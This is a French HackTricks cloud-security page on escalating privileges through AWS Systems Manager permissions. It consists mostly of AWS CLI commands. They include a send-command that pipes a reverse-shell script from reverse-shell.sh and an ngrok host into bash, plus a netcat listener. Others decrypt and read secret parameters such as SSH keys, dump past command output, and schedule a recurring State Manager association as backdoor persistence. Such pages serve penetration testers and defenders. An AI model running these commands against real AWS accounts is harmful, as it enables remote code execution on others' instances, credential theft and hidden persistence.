AWS - SSM Privesc

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

SSM

Pour plus d'informations sur SSM, consultez :

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Un attaquant disposant de la permission ssm:SendCommand peut exécuter des commandes sur des instances exécutant l'Amazon SSM Agent et compromettre le IAM Role qui s'exécute à l'intérieur.

bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Au cas où vous utiliseriez cette technique pour escalader des privilèges à l'intérieur d'une instance EC2 déjà compromise, vous pourriez simplement capturer le rev shell localement avec :

bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Impact potentiel: Privesc direct vers les EC2 IAM roles attachés aux instances en cours d'exécution avec des SSM Agents.

ssm:StartSession

Un attaquant disposant de l'autorisation ssm:StartSession peut ouvrir une session de type SSH sur des instances exécutant l'Amazon SSM Agent et compromettre l'IAM Role s'y exécutant.

bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

caution

Pour démarrer une session vous avez besoin du SessionManagerPlugin installé: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Impact potentiel : Privesc direct aux rôles IAM EC2 attachés aux instances en cours d'exécution avec des SSM Agents actifs.

Privesc vers ECS

Lorsque les ECS tasks s'exécutent avec ExecuteCommand enabled les utilisateurs disposant des permissions suffisantes peuvent utiliser ecs execute-command pour exécuter une commande à l'intérieur du conteneur.
Selon la documentation cela se fait en créant un canal sécurisé entre l'appareil que vous utilisez pour initier la commande “exec” et le conteneur cible via SSM Session Manager. (SSM Session Manager Plugin nécessaire pour que cela fonctionne)\
Par conséquent, les utilisateurs avec ssm:StartSession pourront obtenir un shell à l'intérieur des ECS tasks ayant cette option activée simplement en exécutant:

bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Impact potentiel : Privesc direct vers les ECSIAM roles attachés aux tâches en cours d'exécution avec ExecuteCommand activé.

ssm:ResumeSession

Un attaquant disposant de la permission ssm:ResumeSession peut re-démarrer une session de type SSH sur des instances exécutant l'Amazon SSM Agent avec un état de session SSM déconnecté et compromettre le IAM Role s'exécutant à l'intérieur de celle-ci.

bash
# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Impact potentiel : privesc direct vers les rôles IAM EC2 attachés aux instances en cours d'exécution avec des SSM Agents actifs et des sessions déconnectées.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Un attaquant disposant des permissions mentionnées pourra lister les SSM parameters et les lire en clair. Dans ces paramètres, vous pouvez fréquemment trouver des informations sensibles telles que des SSH keys ou des API keys.

bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Impact potentiel : Trouver des informations sensibles dans les paramètres.

ssm:ListCommands

Un attaquant disposant de cette permission peut lister toutes les commandes envoyées et potentiellement y trouver des informations sensibles.

aws ssm list-commands

Potential Impact: Trouver des informations sensibles dans les lignes de commande.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Un attaquant disposant de ces permissions peut lister toutes les commands envoyées et lire la sortie générée, en espérant y trouver des informations sensibles.

bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Impact potentiel : Trouver des informations sensibles dans la sortie des lignes de commande.

Utilisation de ssm:CreateAssociation

Un attaquant disposant de l'autorisation ssm:CreateAssociation peut créer une State Manager Association pour exécuter automatiquement des commandes sur des instances EC2 gérées par SSM. Ces associations peuvent être configurées pour s'exécuter à intervalles fixes, les rendant adaptées à la backdoor-like persistence sans sessions interactives.

bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

note

Cette méthode de persistance fonctionne tant que l'instance EC2 est gérée par Systems Manager, que l'agent SSM est en cours d'exécution, et que l'attaquant a l'autorisation de créer des associations. Elle ne requiert pas de sessions interactives ni la permission explicite ssm:SendCommand. Important : Le paramètre --schedule-expression (par ex., rate(30 minutes)) doit respecter l'intervalle minimum d'AWS de 30 minutes. Pour une exécution immédiate ou ponctuelle, omettez complètement --schedule-expression — l'association s'exécutera une fois après sa création.

Codebuild

Vous pouvez aussi utiliser SSM pour accéder à un projet Codebuild en cours d'exécution :

AWS - Codebuild Privesc

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks